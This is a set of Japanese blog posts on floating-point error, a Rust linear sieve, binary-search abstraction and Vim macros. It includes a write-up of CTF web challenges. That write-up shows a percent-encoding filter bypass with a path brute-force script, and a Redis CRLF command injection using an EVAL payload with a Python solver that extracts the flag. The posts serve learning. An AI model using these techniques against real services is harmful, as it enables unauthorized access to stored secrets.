「自分はこういう考察を（無限精度の前提で）しました」「自分はこういう実装を（精度を気にせず素朴に）しました」というステップを踏みがちで、「この実装だとこういう部分でこれくらいの誤差が出る」というのを気にする必要があるとすら思っていない人が多いのかな？と思ったり、でもどうやって意識してもらったらいいんでしょうと思ったりです。 計算量の意識に関してもそうですが、そもそもそういう意識がない（数学にもそこまで明るくない）タイプの初心者にやってもらうのって難しさがありますよね。

「割り算の前には 0 にならないかを意識する」「ポインタを使う前には null でないことを意識する」とか、そういうのってどうして見落とされてしまうのでしょう。 / キーを押すたびに「引数チェックした？」というポップアップが出てきて、同意ボタンを押さないと進めないみたいにした方が安全なんじゃないですか？ 「多くの場合は問題ないから」とかは、なにも気にしなくていい理由にはならないと思うんですよね。

というか緑とかの人との関わりが最近あまりなく、実態がよくわからんので全てを想像で話しているんですよね。最近の人々は実際どういう感じなんですか？

とはいえ、「昔の自分が読めたらうれしかっただろうな」というような内容を出しているつもりではあります。たぶん未来の自分が読んでもある程度うれしい内容になっている気はします*10。 こういう「実は知らなくて」みたいな系統のトピックを調べながら余生を過ごしたいなという感じです。

おわり

おわりです。

*1:レーティング分布を見ると、そもそも経験が浅い人が多数派な気もしますね。

*2:IEEE 754 に従っている前提です。

*3:hack する側の視点で言っています。

*4:探索の際には、任意のビット長の浮動小数点型の挙動を模倣する自作クラスを使いました。

*5:浮動小数点数 $x$, $y$ が $x\approx y$ のとき $x\ominus y=x-y$ となることが示せます (Sterbenz’s lemma) が、それとは別の話です。

*6:$x_0y_1$ は $10^{18}$ 以下の任意の正整数を取れるわけではないです。$10^9$ を超える素数にはなれません。$10^9+7$ などですね。

*7:「大きい誤差出てくれーッ」と祈る人になっていてかわいそう（タイトル回収）という気持ちになりました。賢い人が見ればもっとうまくできるものなのですかね。

*8:割り算をするときにもそういうチェックをしない人が多数派だったりしますか？ たすけて〜

*9:誤差を含まないので ok、の部分で pass できるため。

*10:未来のえびちゃん見てますか 👋

write-up: AlpacaHack Round 7 (Web)

AlpacaHack Round 7 (Web) に参加しました。えびちゃん的には初めての CTF のコンテストです。

自分語り

シェルスクリプトでごにょごにょやったり、インジェクションのことを考えたりするのは好きなので、うまいことハマれば CTF は好きそうなのかな？というふんわりした気持ちは何年か前からあったのですが、常設の CTF サイトのよさそうなものがわからなかったり、始め方がいまいちわからなかったりでなんとなく敬遠していました。 AlpacaHack には半月くらい前に登録して、Challenge Archive から（Welcome を除いて、）Web を 2 つ、Pwn を 5 つ、Rev と Crypto を 1 つずつ解きました。

元々（競プロをする前から）バイナリファイルを読むの自体はやっていて、そういう部分とはある程度仲よしだったと思います。お友だちコマンドは hexdump -C です。 最近は、OpenSSL の証明書や秘密鍵のファイル（PEM や DER 形式のやつ）を読んで楽しんでいました。 というか、それを読みながら「RSA 用の鍵ってこういう風にエンコードされてるのね〜」「そういえば、CTF だと RSA 関連の問題が出るんだったよね〜」と思って、「AlpacaHack っていうのが最近話題になってたし、始めてみようかね〜」となったのが始めた経緯でした。

Crypto に関しては、競プロで慣れているような群の話もありつつ、ワードサイズには収まらない値が当然だったりして前提が結構違うなという気持ちがあります。 まだまだ知らないアルゴリズムがたくさんあるんだな〜というところです。たとえば LLL というのはなんですか（名前だけは無限回聞いている）。

今回のコンテストの話

シェルの出力は、#> から始まる行で示し、出力の省略は #: で示します。

Treasure Hunt

まず web/Dockerfile を読みます。FLAG_PATH は（MD5 ハッシュに基づく）深い階層のパスっぽいので、とりあえずローカルで見てみます。

% docker exec -it treasure-hunt-treasure-hunt-1 bash
I have no name!@b557aca14e98:/app$ ls -R
#:
#> ./public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x:
#> t
#:

I have no name!@b557aca14e98:/app$ cat ./public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t 
#> Alpaca{REDACTED}

というわけで http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t にアクセスできればいいんですが、/[flag]/ にマッチするとだめらしいので考えます。URL が case-insensitive だったらうれしいなと思って http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/A/c/2/8/9/1/F/L/A/G/t/x/t としてみましたがだめらしいので、もうちょっと考えます。

% curl http://localhost:3000/drum
#> 🥁

% curl http://localhost:3000/dru%6d
#> 🥁

curl だと %-encode しても意図したものが返ってきてくれていそうです。これを decode しているのが curl 側なのかサーバ側（の判定箇所以降）なのかがこの段階では（事前知識なしでは）判断できないですが、とりあえず後者だったらうれしいので後者だとして進めます。

% curl http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/%61/c/2/8/9/1/%66/%6c/%61/%67/t/x/t
#> Alpaca{REDACTED}

あ〜〜。ということで、あとは実際のサーバにおけるパスを特定する方法を考えます。

とりあえず、存在することを知っているディレクトリとして /3 があるので、そこにアクセスしてみます。

% curl -i http://localhost:3000/3
#> HTTP/1.1 301 Moved Permanently
#:
#> Location: /3/
#:

% curl -i http://localhost:3000/4
#> HTTP/1.1 404 Not Found
#:

あ〜。ステータスコードで判断できそうですね。

Python で requests.get(url, allow_redirects=False).ok をしようとしましたが、%-encode まわりが期待通りにいってくれないようだったので、ソルバは Zsh で書きました。

BASE_URL=http://34.170.146.252:19843

escape() {
    echo ${${${${1//f/%66}//l/%6c}//a/%61}//g/%67}
}

query() {
    echo "GET $1"
    local target_path=$(escape $1)
    response=$(curl -sw '%{http_code}\n' -o /dev/null "$BASE_URL$target_path")
    [[ $response != 404 ]]
}

target_path=
for _ in {1..32}; do
    for x in {0..9} {a..f}; do
        if query "$target_path/$x"; then
            target_path+=/$x
            break
        fi
    done
done

echo $target_path

curl ${BASE_URL}$(escape "$target_path/f/l/a/g/t/x/t")

% zsh solve.zsh
#:
#> GET /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*
#> /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*
#> Alpaca{*************************}

Alpaca Poll

各ファイルを読んでいきます。

    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    const message = `INCR ${animal}\r\n`;

あからさまに「ここをやってください」と書いてくださっているので、ここを見ていきます。 Redis を使っているようなので、まずは（具体的なインジェクションのことは忘れて）Redis でどうしたら取得できるかを考えます。

% docker exec -it alpaca-poll-alpaca-poll-1 bash
I have no name!@6439a1641d16:/app$ redis-cli
127.0.0.1:6379> incr dog
#> (integer) 18
127.0.0.1:6379> incr dog
#> (integer) 19
127.0.0.1:6379> get flag
#> "Alpaca{REDACTED}"

Redis のコマンドはあまり知らないので、ドキュメントを読みます。なんらかのことをした結果の整数値が得られるので、「フラグの $i$ 文字目の ASCII としての値」みたいなのが得られるコマンドがあるとうれしいです。 EVAL や Scripting with Lua を見つけたので、もうどうにでもできそうです。

I have no name!@6439a1641d16:/app$ redis-cli eval 'return string.byte(redis.call("GET", KEYS[1]), 1)' 1 flag
#> (integer) 65
I have no name!@6439a1641d16:/app$ redis-cli eval 'return string.byte(redis.call("GET", KEYS[1]), 2)' 1 flag
#> (integer) 108

これにはえびちゃんもにっこりです。あとは、INCR ${animal} の部分でどう EVAL を実行するかを考えればよさそうです。 とりあえず、うまくいっているかをわかりやすく調べたいので、INCR dog を 2 回実行するようなことができるかを試してみます。

% curl http://localhost:3000/vote -d 'animal=dog;incr dog'
#> {"error":"something wrong"}

とりあえず ; 区切りにしてみましたが、Redis はそういう感じの子ではないらしいです。

% curl http://localhost:3000/vote -d 'animal=do%0Ag'
#> {"dog":24}

\n の消え方を試してみます。試行錯誤したり、とりあえずたくさん INCR したりして気分転換したりしました。 そういえば JavaScript での全置換って replaceAll ってだよね？と思って、あ〜となりました。

% curl http://localhost:3000/vote -d 'animal=do%0Ag'
#> {"dog":327}

% curl http://localhost:3000/vote -d 'animal=dog%0A%0Aincr dog'
#> {"dog\nincr dog":328}

% curl http://localhost:3000/vote -d 'animal=dog%0D%0D%0A%0Aincr dog'
#> {"dog\r\nincr dog":330}

お？ 2 つずつ増えていますね。キーがめちゃくちゃになっていますが、結局欲しいのは値の方なのでどうでもいいですね。 見た感じ、最初のコマンドの結果が返ってきてしまっていそうで、二つ目のコマンド（すなわち、インジェクションして EVAL したいやつ）の返り値を得るためにはもう少し考える必要がありそうです。とりあえず INCR の引数はなしにしてしまってエラー扱いにしたら、後者だけ返ってきてくれないですかね（おいのり）。

% curl http://localhost:3000/vote -d 'animal=%0A%0A eval '\''return string.byte(redis.call("GET", KEYS[1]), 1)'\'' 1 flag'
#> {"\n eval 'return string.byte(redis.call(\"GET\", KEYS[1]), 1)' 1 flag":65}

あ〜〜たすかります。フラグは Alpaca{...} だと知っているので、A であるところの 65 が返ってきてくれてうれしいですね。

あとはそういうソルバを書けばいいですね。

import json

import requests

BASE_URL = "http://34.170.146.252:7782"


def query(i):
    url = f"{BASE_URL}/vote"
    animal = f"\n\n eval 'return string.byte(redis.call(\"GET\", KEYS[1]), {i})' 1 flag"
    res = requests.post(url, data={"animal": animal})
    resj = json.loads(res.text.encode())
    return ("error" not in resj) and chr([*resj.values()][0])


for i in range(1, 200):
    r = query(i)
    if not r:
        break

    print(r, end="")

print()

% python solve.py
#> Alpaca{******************}

minimal-waf・disconnection

うむむうわからないですね。

こういう Admin Bot みたいなのって汎用グッズ（？）みたいなやつなんですか？ Challenge Archive のところでも見かけた記憶があります。

% curl 'http://localhost:3000/view?html=script'
#> XSS Detected: script

% curl 'http://localhost:3000/view?html=script' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Dest: x'
#> script

% curl -X POST 'http://localhost:1337/api/report' -H 'Content-Type: application/json' -d '{"url": "https://example.com"}'
#> OK

% curl -X POST 'http://localhost:1337/api/report' -H 'Content-Type: application/json' -d '{"url": "http://34.170.146.252:26860/"}'
#> OK

ふーむ？ うーん......？

bot/bot.js の url には好きなことを書けそうなので、そこになんかするんですか？

    await page.goto(url, { timeout: 5_000 });

結局やることがいまいちよくわからずで、前日あまり寝られてないのもあり、そのまま寝てしまいました。 そもそもの定番としての知識みたいな部分が欠けてそうな気がします。

コンテスト後

起きました。寝る前は 7 位だったのですが、起きたら 8 位になっていました。 十分よい順位なのではないでしょうか。えびちゃんは（競プロでも）競技パートにはあまり興味がないのですが、とはいえ (小さめの整数)/(大きめの整数) を見るとうれしい気持ちになってしまいます。

一旦寝てから参加するか迷っていたのですが、2 完早解きでのよい順位だったので、がんばって参加しておいてよかったなと思いました。

ABC にも参加しましたが、20 分くらい遅刻したので微妙な感じでした（遅刻を抜きにしても、もっと早く解けという感じの出来ではありました）。

write-up を書くと非常に歓迎してもらえるらしいので書きました。

おしゃべり

いろいろとまだまだ知らないことが多いので、お勉強していきたいな〜という気持ちです。

最初のうちは、他に人の write-up とかを（ネタバレはある程度避けつつも、それなりには覚悟して）ばーっと読んでいって吸収していくのがいいのかな？と思ったりしています。たとえば下記を読んだりしました（後者はまだ前半しか読んでないです）。

keymoon.hatenablog.com

ptr-yudai.hatenablog.com

これらもちゃんと読みたいです。

furutsuki.hatenablog.com

mitsu1119.github.io

radareorg/radare2 とか pwntools とかを触ったりしていますが、まだちゃんと使いこなせていないというか、うれしさを活かしきれていない感じがありますね。

楕円曲線とか、格子関連のなにか（？？？）とか、Pollard の $\rho$ 法や $p-1$ 法など、仲よしになりたいトピックはいろいろありますが、焦らずゆっくりやっていきましょうかねえというところです。CTF 以外にもやりたいお勉強はたくさんあって、エルフか忍者になりたい気持ちが強まります。

とりあえずは、競プロでいうところの「とりあえず愚直に書いたときの計算量を考える」「定番の高速化手法を知る（累積和とか座圧とか）」「こういう類のものは DP・にぶたん・etc.」くらいのレベルの、基礎的な感覚を養いたいなという気持ちがあります。

おわり

おわりです。

線形篩で遊ぼう

線形篩と呼ばれているアルゴリズム・データ構造があります。

「線形時間で前計算できる何々」を「線形何々」と呼ぶのは不適切ですか、もしかして？*1

$\gdef\lpf{\operatorname{lpf}}$

ざっくり紹介

線形篩の構築は、各 $i$ ($2\le i\le n$) に対して 最小素因数 (least prime factor) $\lpf(i)$ を求めるものであり、これを $O(n)$ 時間で行います。 これにより、$i$ の素数判定を $\lpf(i) = i$ でできるわけです。

また、構築の過程で $n$ 以下の素数の列挙も行うので、素数の列挙をしたいときにはそのまま使うこともできます。

構築に関して

下記の考察に基づきます。

整数 $i\ge 2$ に対して、$j\le\lpf(i)$ なる各素数 $j$ に対して $\lpf(i\times j) = j$ が成り立つ。 よって、（配る DP によって）$\lpf(i)$ が求められたら、$j\le\lpf(i)$ なる各素数に対して $\lpf(i\times j)$ が求められる。

DP をしていく際に、$i$ への更新が行われないまま $i$ から配るターンになったら、$i$ が素数であることがわかるので、素数のリストに $i$ を加える。 各 $i$ に対して、更新は $i/{\lpf(i)}$ からしか行われないため、全体として $O(n)$ 時間であることがわかる。

発展編

最小素因数を考えながら DP をできるものがしばしばあります。 たとえば、（重複を含めた）素因数の個数が挙げられます。 $i$ の（重複を含めた）素因数の個数を $\Omega(i)$ とおく*2と、

$$ \Omega(i) = \begin{cases} 0, & \text{if }i = 1; \\ \Omega(i/{\lpf(i)}) + 1, & \text{otherwise} \end{cases} $$ と書けます。

$\gdef\ord{\operatorname{ord}}$

非負整数 $i$ が素数 $p$ で割り切れる回数を $\ord_p(i)$ と書くことにし、$i$ が最小素因数で割り切れる回数を $c(i) = \ord_{\lpf(i)}(i)$ とします。 また、便宜上 $\lpf(1) = 0$ としておきます*3。

$$ c(i) = \begin{cases} 0, & \text{if }i = 1; \\ 1, & \text{if }{\lpf(i)} \ne {\lpf(i/{\lpf(i)})}; \\ c(i/{\lpf(i)}) + 1, & \text{otherwise}. \end{cases} $$

同様の分岐で $+1$ ではなく $\times{\lpf(i)}$ などを考えることで、$\lpf(i)^{c(i)}$ を求めることもできます。

愚直に関して

各 $i$ に対して、愚直に割り続けて回数を調べる方法でも、全体で $O(n)$ 時間を達成できるらしいです。 ${1.77315667\ldots}\times n$ くらいらしいです？ $\eod$

より一般に、乗法的関数 (multiplicative function) $f(n)$ について考えます。乗法的関数とは、下記を満たす関数のことです。

  • $f(1) = 1$,
  • $\gcd(u, v) = 1 \implies f(uv) = f(u)f(v)$.

$n = p_1^{e_1}\cdots p_k^{e_k}$ と素因数分解できるなら $f(n) = f(p_1^{e_1})\cdots f(p_k^{e_k})$ と書くことができます。

さて、乗法的関数であって以下を満たすものを考えます。

  • $f(p)$ は $p$ から計算できる。
  • $i\gt 1$ に対して、$f(p^i)$ は $p$, $p^{i-1}$, $f(p^{i-1})$ から計算できる。

このとき、各 $i$ に対する $f(i)$ が DP によって求めることができます。

実装

Euler の $\phi$ 関数や、約数の総和などを求めています。便宜上、$f(0)$ として使う値も渡してみていますが、T::zero() とかにしてもよいかもしれません？

use std::ops::Mul;

use num_traits::One;

fn main() {
    let ls = LpfSieve::new(20);
    println!("{ls:?}");

    let phi = ls.dp(0, 1, |&x, p| x * p, |&x, p| x * (p - 1));
    println!("{phi:?}");
    
    let phi = ls.mulfn(0, |p| p - 1, |p, _pp, x| x * p);
    println!("{phi:?}");

    let sigma = ls.mulfn(0, |p| p + 1, |p, pp, x| x + p * pp);
    println!("{sigma:?}");
}

#[derive(Debug)]
struct LpfSieve {
    lpf: Vec<usize>,
}

impl LpfSieve {
    pub fn new(n: usize) -> Self {
        let mut lpf: Vec<_> = (0..=n).collect();
        let mut primes = vec![];
        for i in 2..=n {
            if lpf[i] == i {
                primes.push(i);
            }
            let lpf_i = lpf[i];
            for &j in primes.iter().take_while(|&&j| j <= lpf_i.min(n / i)) {
                lpf[i * j] = j;
            }
        }
        Self { lpf }
    }
    pub fn dp<T>(
        &self,
        x0: T,
        x1: T,
        mut eq: impl FnMut(&T, usize) -> T,
        mut gt: impl FnMut(&T, usize) -> T,
    ) -> Vec<T> {
        let n = self.lpf.len() - 1;
        if n == 0 {
            return vec![x0];
        } else if n == 1 {
            return vec![x0, x1];
        }
        let mut res = vec![x0, x1];
        res.reserve(n + 1);
        for i in 2..=n {
            let lpf = self.lpf[i];
            let tmp = if lpf == self.lpf[i / lpf] {
                eq(&res[i / lpf], lpf)
            } else {
                gt(&res[i / lpf], lpf)
            };
            res.push(tmp);
        }
        res
    }
    pub fn mulfn<T>(
        &self,
        f0: T,
        mut fp: impl FnMut(usize) -> T,
        mut fpi: impl FnMut(usize, usize, &T) -> T, // p, p^{i-1}, f(p^{i-1})
    ) -> Vec<T>
    where
        T: One + Clone,
        for<'a> &'a T: Mul<&'a T, Output = T>,
    {
        let x0 = (f0.clone(), f0.clone(), 1);
        let x1 = (T::one(), T::one(), 1);
        let eq = |(lt_f, eq_f, pp): &(T, T, usize), p: usize| {
            (lt_f.clone(), fpi(p, *pp, eq_f), pp * p)
        };
        let gt = |(lt_f, eq_f, _): &(T, T, usize), p: usize| {
            (lt_f * eq_f, fp(p), p)
        };
        self.dp(x0, x1, eq, gt)
            .into_iter().map(|(lt_f, eq_f, _)| lt_f * eq_f).collect()
    }
}

練習問題

Möbius の $\mu$ 関数や約数の個数なども求めてみましょう。

素因数の個数は ABC 368 F など。

おわり

おなかがすきました。

*1:「線形 RMQ」「線形 LCA」「線形 LA」など。

*2:オーダー記法の一つであるところの $\Omega(f(n) )$ と紛らわしいですが、ここでは登場しないので許されておきます。

*3:ここに関しては、文脈に応じて DP を回しやすいように定義するとよいでしょう。$\infty$ だと思ってもよい場合もあるかも。

抽象化ライブラリの第一歩としての二分探索

「競プロライブラリにおける抽象化と言えばセグ木」みたいな風潮ができてから久しいですが、二分探索に関してそうした抽象化を意識している人はあまり多くない気がしています。

おきもち

たとえば、「ソートされた配列が欲しい」の気持ちのときにいちいちソートの実装を書かされるのはうれしくないはずです。 main 関数にいちいちソートの実装をベタ書きしている人も滅多にいないでしょう。

あるいは、「$0$ 以上 $n$ 未満の整数を順に回したい」と思っているときに「まず $i = 0$ で初期化する。$i \lt n$ である間、$i \xgets+ 1$ で更新する」という “内部実装” を書く必要があるのもうれしくないです。C++ 系の言語を使っていて REP マクロを使っていない人にとっては、そういうベタ書きは当然のものだと思われているでしょうが、ちょっと落ちついて考え直してみてほしいです*1。

二分探索に関しても同様です。 main 関数内での気持ちとしては「何々の条件を満たす最大の値が欲しい」などだけであって、それをするための内部実装をいちいち書くのはうれしくないです。

また、思考のレイヤーの観点の他にも、（たとえば二分探索の内部で二分探索をする必要がある場合などに）変数名をいちいち気にする必要があるのもベタ書きの嫌なポイントです。

競プロ er あるある言説として「ゆーても数行で書けるし」のようなものがありますが、5 行で書けるのと関数呼び出し 1 つで書けるのとでは、やはり手軽さが違うとも思います。

整理・設計

さて、二分探索でやっていることを考えましょう。 状況設定によって二分法と呼び分ける派閥もありますが、ここでは “その手のやつ” たちを二分探索と称することにします。

一旦ここでは整数に限った話をします。界隈でよく言われているような設定は下記でしょう。

$\gdef\boolty{\{\top, \bot\}}$

  • input
    • $x_L\in\Z$,
    • $x_U\in\Z$,
    • $f\colon \Z\to\boolty$.
  • precondition
    • $x_L \lt x_U$,
    • $f(x_L) = \top$,
    • $f(x_U) = \bot$,
    • $f(x) = \bot \implies f(x+1) = \bot$.
  • output
    • $x\in[x_L\lldot x_U]$.
  • postcondition
    • $f(x) = \bot$,
    • $f(x-1) = \top$.

ここで、$\top$, $\bot$ は true, false に相当する記号です。 $f(x) = \bot \implies f(x+1) = \bot$ は、界隈で「単調性」と言われがちな条件です。

「単調性」？

ソート済み（単調増加）の列から値を探すときに二分探索を探すというのが基本的な用法としてあり、そこから「単調」と呼ばれるようになったんだろうと思っていました。 とはいえ、[true, true, ..., true, false, ..., false] みたいな配列を称する呼び方として「単調性」は自然なものかね？という気持ちがありました。

なのですが、調べてみた感じだと、そういう用法もあるらしく、ならまぁいいか〜という気持ちになりました。 en.wikipedia.org $\eod$

ところで、二分探索のアルゴリズムで上記の事後条件を満たすような $x\in[x_L\lldot x_U]$ を返すためには、単調性の条件は必要ないことに気づきます。

界隈では「二分探索を用いて境界を見つけるためには単調性が必要である」と言われがちですが、自分の解釈としては、「二分探索を行うと true・false を跨ぐ箇所を一つ見つけることができる。単調性があればそれが一意であることがわかるが、二分探索の実行可能性自体には影響しない」という感じです。

それを踏まえて、下記のような設計でいきます。$f(x_L) = \top$ の条件も除いてしまう方が便利な状況もあるのでそうします*2。

  • input
    • $x_L\in\Z$,
    • $x_U\in\Z$,
    • $f\colon \Z\to\boolty$.
  • precondition
    • $x_L \le x_U$,
    • $f(x_U) = \bot$.
  • output
    • $x\in[x_L\lldot x_U]$.
  • postcondition
    • $f(x) = \bot$,
    • $x = x_L \vee f(x-1) = \top$.

$f(x) = \top$ となる方が自然に見える気もしつつ、「（典型的な状況として）$[x_L\lldot x)$ では条件がよい感じで、$[x\lldot x_U)$ だとうれしくない感じになる」のようなイメージでやっていることが多く、こうした設計をしています。 ここは各々が好みに合わせて行えばいいと思います。

実装

そういうわけで、$x_L$, $x_U$, $f$ を渡すと、上記の事後条件を満たすような $x$ を返してくれるようなライブラリを作りたくなってきます。

主要どころということで、Rust, C++, Python の例を挙げてみようと思います。 はてなブログに貼りつけても見にくい感じがあるので、AtCoder への実際の提出コードを貼ります。

その他

実装に関して

$x_U$ を渡さず、指数探索を行う方針のライブラリを作ってもよいでしょう。えびちゃんはよくこちらを使っています。

思考停止で適当な定数の INF を使うよりは失敗が少ないと思います。 有限値で $\infty$ を代替するときは、思考停止で（≒ 問題ごとに条件を意識せず）使うのではなく、妥当な値であることを都度考える必要があると思っています。

rsk0315.hatenablog.com

中間値に関して

できるだけ、オーバーフローに気をつける実装にしておきましょう。 わざわざライブラリ側で「こういう状況ではバグるんだけど、まぁどうせ競プロで問題になることは少ないし平気」のような欠陥を残しておくメリットは少ないです。 あとそういう欠陥があること自体を忘れがちなので。

意識したことがない人は多いのかもしれませんが、たとえば 1_000_000_000_i32 と 2_000_000_000_i32 の平均値を求めようとする際、単にこれらを足し合わせると i32 ではオーバーフローします。(low + high) / 2 ではなく low + (high - low) / 2 のようにする方針が有名です。ループ条件にも high - low > 1 なので、そういう意識のしやすさもあります。

とはいえこれで満足することもできません。-2_000_000_000_i32 と 2_000_000_000_i32 の差もやっぱりオーバーフローします。 符号つき整数の平均値？ どうするのがいいんでしょう。

C++20 では midpoint という関数が用意されています。

Rust の std の実装では、fn map(a: $SignedTy) -> $UnsignedTy; と fn demap(a: $UnsignedTy) -> $SignedTy; を定義し、下記のようにしているようです (core/num/int_macros.rs, int_impl!)。

demap(<$UnsignedTy>::midpoint(map(self), map(other)))

符号なしに関しては、自分より大きい型にキャストして計算したり、u128 に関しては有名な overflow-free なアルゴリズム ((a ^ b) >> 1) + (a & b) を使っているようです(core/num/mod.rs, midpoint_impl!)。

上記の提出コードでは、過度に複雑になるのを防ぐため、符号なし整数のことだけを考えています。

お気持ちに関して

そもそも、ベタ書きであれライブラリを使うのであれ、二分探索を終えた後に事後条件を意識するのが大事です。 これをしないことには、何回繰り返したところで「勘でやっている」のと大差ないと思います。

もっとも、事前条件・事後条件を意識する必要があるのは二分探索に限らず、すべてのアルゴリズム・データ構造が当てはまるとは思います。

めぐる式に関して

ライブラリ化してしまえば、「毎回二分探索でバグらせています」「めぐる式を使っていますか？」のような会話をいちいちする必要もなくなるだろうなと思っています。

勘違いされていることが多いですが、そもそも めぐる式二分探索の原典 は、[low, high) を半開区間で持つことだけを指しているのではないです。 変数名で区間を [ok, ng)・(ng, ok] のように明示し、どちらの場合でもループの式を abs(ok - ng) > 1 のように統合してしまうもので、なかなか過激なスタイルです。

mid = (ok + ng) / 2 はオーバーフローが怖いです。あと if (solve(mid)) の部分はあんまりうまくない名称な気がします。これはえびちゃんの感情です。

そもそも、にぶたんの下界・上界の部分を「区間」と捉えるの自体がえびちゃんの感覚とあってないかも？

ライブラリ・スニペットに関して

にぶたん（や、その他のアルゴリズム）のテンプレとして下記のようなスニペットを都度貼りつけている人もいるでしょう。

let (mut ok, mut bad) = (0, INF);
while bad - ok > 1 {
    let mid = ok + (bad - ok) / 2;
    let mid_is_ok = {
        // ここに実装を書く
    };
    *(if mid_is_ok { &mut ok } else { &mut bad }) = mid;
}

こういうやり方をやめましょうと主張する気はないですが、あまり好ましいとも思っていません。 「このような引数を渡すと、こういうものを返す」という形式で整理できていないもの・それが難しいものに関してはこれで妥協するのもありですが、事前条件・事後条件の意識などがしにくくなりそうという気がしています。

同様のものとして、BFS なども適切に抽象化できるとうれしいかもしれません*3。

類題

ネタバレになるのであまり好ましくないかもではありますが、そもそも ABC の問題数はたくさんあるので「方針をわかった上できちんと実装を詰める用」と「方針を自力で考える用」で分けて使ってしまってもよい気がします。

ざっと探した感じでも、ABC 300 以降で 2 割くらいのコンテストでは出ているようで、常連さんだなぁという気持ちです。 ところで、ABC 300 がすでに 1 年以上前ということに気づいてびっくりしてしまいました。

所感

ベタ書きしたがる人々を改宗させるのは大変そう。

最近はどうかわからないですが、競プロ界隈の一部では「パソコンや言語仕様に詳しくなく、そうしたものを使って高度に便利なライブラリ・ツールを準備することに対する忌避感がある」のような風潮があったように感じます。 oj やその類のテストツールを使わずに手作業でがんばっている人はまだまだたくさんいるような気がします*4。

おわり

ああ我らの日曜日。

*1:別に REP マクロを推奨したいわけではないですが、ベタ書きを推奨したいわけでもありません。

*2:$f(x_L-1) = \top$ であると見なしているという見方もあるかも。

*3:ありがちなグラフに限った BFS という意味ではなく、一般の探索ということです。

*4:そういえば、これ にレスがなくてかなしい。

ABC 357 C 埋め込みに関して

「埋め込みするにあたってもちゃんとしたコードを書く必要があるじゃん」という声が聞こえたので、ちゃんとしたコードを書かずにやる方法に言及します。 エディタの機能を使いこなすことが重要です。

エディタでの操作

レベル $K$ のカーペットを得ている状態からレベル $K+1$ のカーペットを得る操作の一例を考えます。わかりやすさのため、$K=1$ としたときのテキストを添えながら書きます。

###
#.#
###

(1) 全体を矩形選択*1してコピーしておく。

(2) 全体を矩形選択し、全ての文字を . で置き換える。

...
...
...

(3) (1) でコピーした内容を先頭に貼りつける。

###...
#.#...
###...

(4) カーソルを先頭行の末尾に移動し、末尾に再度貼りつける。

###...###
#.#...#.#
###...###

(5) 全体の内容を切り取る。





(6) (1) でコピーした内容を 3 回（横方向に繰り返すように）貼りつける。



#########
#.##.##.#
#########




(7) 末尾に移動し、(5) で切り取った内容を貼りつける。



#########
#.##.##.#
#########
###...###
#.#...#.#
###...###




(8) 末尾に移動し、(1) でコピーした内容を 3 回貼りつける。



#########
#.##.##.#
#########
###...###
#.#...#.#
###...###
#########
#.##.##.#
#########




(9) 保存する。



できました。



Vim の紹介



ここで、各操作は Vim*2のコマンドで実現することができます。



    

  • (1) <CTRL-V>G$"ay
    • 

  • (2) <CTRL-V>G$r.
    • 

  • (3) "aP
    • 

  • (4) $"ap
    • 

  • (5) "bdG
    • 

  • (6) 3"aP
    • 

  • (7) Go<ESC>"bP
    • 

  • (8) G3"ap
    • 

  • (9) ZZ
    • 





<CTRL-V> と <ESC> はそれぞれ「control を押しながら V を押す」「esc を押す」です。



たとえば、下記のような内容（<CTRL-V> と <ESC> の箇所は、それぞれ 0x16, 0x1B の文字コードを持つ文字を直接なんとかして入力する）を c.vim という名前で用意しておきます。



<CTRL-V>G$"ay<CTRL-V>G$r."aP$"ap"bdG3"apGo<ESC>"bPG3"apZZ




また、c-out.txt という名前のファイルに下記を書き込んでおきます（レベル $K=0$ のカーペット）。



#




これに対して、下記を実行することで、レベル $K+1$ のカーペットが得られます。



% vim -N -i NONE -u NONE -s c.vim c-out.txt 2>/dev/null






補足



使った機能の説明です。



    

  • <CTRL-V>：矩形選択の開始
    • 

  • G：最終行に移動
    • 

  • $：行末に移動
    • 

  • "ay：a という名前のレジスタにコピー
    • 

  • r.：. に置換
    • 

  • "aP：a という名前のレジスタから（カーソルの前に）貼りつけ


      

    • 3 を前置することで 3 回繰り返す
      • 

    

    • 

  • "ap：a という名前のレジスタから（カーソルの後に）貼りつけ
    • 

  • "bdG：最終行までを切り取り、内容をb` という名前のレジスタに入れる
    • 

  • o<ESC>：カーソルの下に行を追加する


      

    • o で挿入モードになったのを <ESC> で解除する
      • 

    

    • 

  • ZZ：保存する
    • 





（補足おわり）




最近は “Vim-like な” キーバインドを提供する IDE もあるようですが、こうした機能をサポートしているのかは知りません。
それからえびちゃんは Emacs を普段使いしていますが、実は Vim のことも好きです。



埋め込み



さて、埋め込んだ結果、次のような内容のファイル c.py が得られます。



S = [
    "#",
    """###
#.#
###""",
    ...,  # K = 2 のときの答え
    ...,  # K = 3 のときの答え
    ...,  # K = 4 のときの答え
    ...,  # K = 5 のときの答え
    ...,  # K = 6 のときの答え
]
n = int(input())
print(S[n])





$K=6$ のときは $3^{12} \approx 5.3\times 10^5$ 文字となり、提出コード長制限の 512 KiB を上回ってしまいます。
試しにファイルの内容を gzip -9 で圧縮してみると、十分小さくなりそうなことがわかります*3。



% cat c.py | gzip -9 | wc -c
    5897





これを（提出コードに入れやすいように）Base64 でエンコードします。4/3 倍程度になってしまいますが全然問題ないでしょう。



% cat c.py | gzip -9 | base64 | fold -w76
H4sIAAAAAAACA+3dUa4kRQ4F0P9YReu9H5BQ7YBV8IlYAD+t0YjZ/zTqAXrqUakqE5nhsI8VIwVY
...
+/778a9///6PP/38+Zfvx38BHgVMXiMkCQA=





